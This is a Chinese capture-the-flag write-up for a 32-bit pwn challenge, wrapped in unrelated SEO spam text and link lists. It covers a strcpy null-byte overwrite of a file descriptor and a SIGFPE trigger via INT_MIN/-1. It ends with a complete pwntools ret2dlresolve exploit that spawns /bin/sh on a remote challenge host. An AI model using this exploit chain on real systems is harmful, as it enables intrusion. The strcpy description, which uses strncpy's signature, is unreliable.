当前位置: 首页 > news >正文

有哪些中文域名网站网站销售公司

有哪些中文域名网站,网站销售公司,大城 网站,织梦网站首页文章知识点 strcpy(dest, src) strcpy 函数用于将指定长度的字符串复制到字符数组里 语法形式为#xff1a;char *strcpy(char *dest, const char *src, int n)#xff0c; 表示把src所指向的字符串里以src地址开始的前n个字节复制到dest所指的数组里#xff0c;并返回被复制后…知识点 strcpy(dest, src) strcpy 函数用于将指定长度的字符串复制到字符数组里 语法形式为char *strcpy(char *dest, const char *src, int n) 表示把src所指向的字符串里以src地址开始的前n个字节复制到dest所指的数组里并返回被复制后的dest。 strcpystrcpy只用于字符串复制并且它不仅复制字符串内容之外还会复制字符串的结束符 例strcpyab b为源字符串a为复制b的字符串 read(unk_804C080, src, 0x10u): unk_804C080的值被赋值为real_flag.txt里的内容 因为 result open(“real_flag.txt”, 1); unk_804C080 result; 类型sighandler_t表示指向返回值为void型参数为int型的函数的指针。它用来声明一个或多个函数指针。 sighandler_t sig1, sig2; 这个声明等价于下面的写法 void (*sig1)(int), (*sig2)(int); if ( v1 ) { signal(8, (__sighandler_t)sub_8049236); v2[1] v2[0] / (int)v1; result signal(8, 0); } C语言里的信号signal(): 信号是程序执行过程里出现的异常情况。它可能是由程序里的错误造成的例如引用内存里的一个非法地址或者是由程序数据里的错误造成的例如浮点数被0除或者是由外部事件引发的例如用户按了CtrlBreak键。 signal()的原型为 #include signal.h void(*signal(int humvoid(*func)(int)))(int) 这恐怕是你在C标准函数库里能见到的最复杂的说明了。如果你先定义一个typedef理解起来就容易一些了。下面给出的sigHandler_t类型是指向一个程序的指针该函数有一个int类型的参数并且返回一个void类型 typedef void(*sigHandler_t)(int) sigHandler_t signal(int num , sigHandler_t func) 解题流程 首先先查看保护机制 在终端输入checksec ./test IDA32位打开 伪码 main 点击sub_8049424(): 0x3048 0x2032 0x1016 下面查看main的子程序 1 result open(“real_flag.txt”, 1); 对real_flag.txt文件只读 result被赋值为从real_flag.txt文件的内容 2 sub_80493EC(src); 点开sub_80493EC(): 3 sub_8049385(src, off_804C034) src为由read(unk_804C080, src, 0x10u)获取到的flag内容 因为read(unk_804C080, src, 0x10u)将unk_804C080值读取0x10字节到src里 点开sub_8049385() 3 if ( !result ) result sub_8049269(); 点开sub_8049269() 漏洞分析 在这里标准输入会跟打开的文件里面的字符串进行比较比较成功才会进入下一步 但是我们发现上面用了一个strcpy函数strcpy存在单字节的溢出这个函数会用’\x00’结尾我们可以在上面让dest的后面一个字节为’\x00’以覆盖fd改为0后可以直接从stdin读入内容从而通过strcmp的检测。 绕开比较进入函数之后是一个signal必须触发这个signal 8号信号才能进入最后的函数。 signal8是浮点例外。在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。 解决方案 不能除0就构造溢出。 需要触发算数异常SIGFPE可以通过-0x80000000/-1触发触发后可以直接执行一个栈溢出由于程序里没有输出函数无法leak函数所以使用ret2dlresolve方法直接getshell exp from pwn import * from roputils import * import timerop ROP(./test) #p process(./test) p remote(39.105.138.97,1234) context.log_leveldebugp.send(p32(0)) sleep(1) p.send(a*32) sleep(1) p.send(hello_boy) sleep(1) p.send(str(int(-2147483648))) sleep(1) p.send(str(int(-1))) sleep(1)offset 77 bss_base rop.section(.bss) buf rop.fill(offset) buf rop.call(read, 0, bss_base, 100) buf rop.dl_resolve_call(bss_base 20, bss_base) p.send(buf)buf rop.string(/bin/sh) buf rop.fill(20, buf) buf rop.dl_resolve_data(bss_base 20, system) buf rop.fill(100, buf) p.send(buf)p.interactive()flag值为:qwb{n0_1nput_1s_great!!!}
http://www.yutouwan.com/news/158897/

相关文章:

  • 龙岗爱联网站建设网站建设的工作职责是什么
  • 娄底工程建设有限公司网站成品免费观看网站
  • 正规网站建设首选公司电脑ppt制作软件
  • 门户网站的意思网站建设完成
  • 网站打开空白页不用购买域名做网站
  • 给别人做网站的话术南京seo排名优化
  • 电子商务网站建设实训报告网址注册了怎么做网站
  • 网站开发项目实训总结建设工程安全管理中心网站
  • 平台网站建设公司中职网站建设与维护试卷
  • 织梦做英文网站出现乱码莱芜新闻民生广角
  • 湖南网站建设网络公司推荐网站制作公司
  • 网站投票系统 js网上购物系统的设计与实现论文
  • 济南免费网站制作有源码怎么做app
  • 株洲做网站的公司wordpress搬家后页面空白
  • 360网站图标怎么做的wordpress博客下载插件
  • 长沙手机网站制作南京网络推广公司排名
  • 成都市网站建设费用及企业网上写文章用什么软件
  • 做宠物网站心得网站建立
  • 怎么做北京赛车网站新乡个人网站建设
  • 伊犁网站制作网站后台图片传不上去怎么办
  • 中信建设有限责任公司世界排名宝应seo
  • 网站开发招标文件范本做食品的采购员常用网站
  • 承德网站推广适合注册公司的名字大全
  • 个人网站可以备案了吗苏州seo推广优化
  • 网站建设方案进行工期安排移动互联网平台有哪些
  • 微信网站结构嘉定网站设计怎么样
  • 网站 备案网站python做的网站漏洞
  • 山东省城乡住房建设厅网站个人缴纳养老保险
  • 平台网站开发的税率诸暨哪些公司可以制作网站
  • 如何做网站关键词排名网站建设都会用到哪些建站工具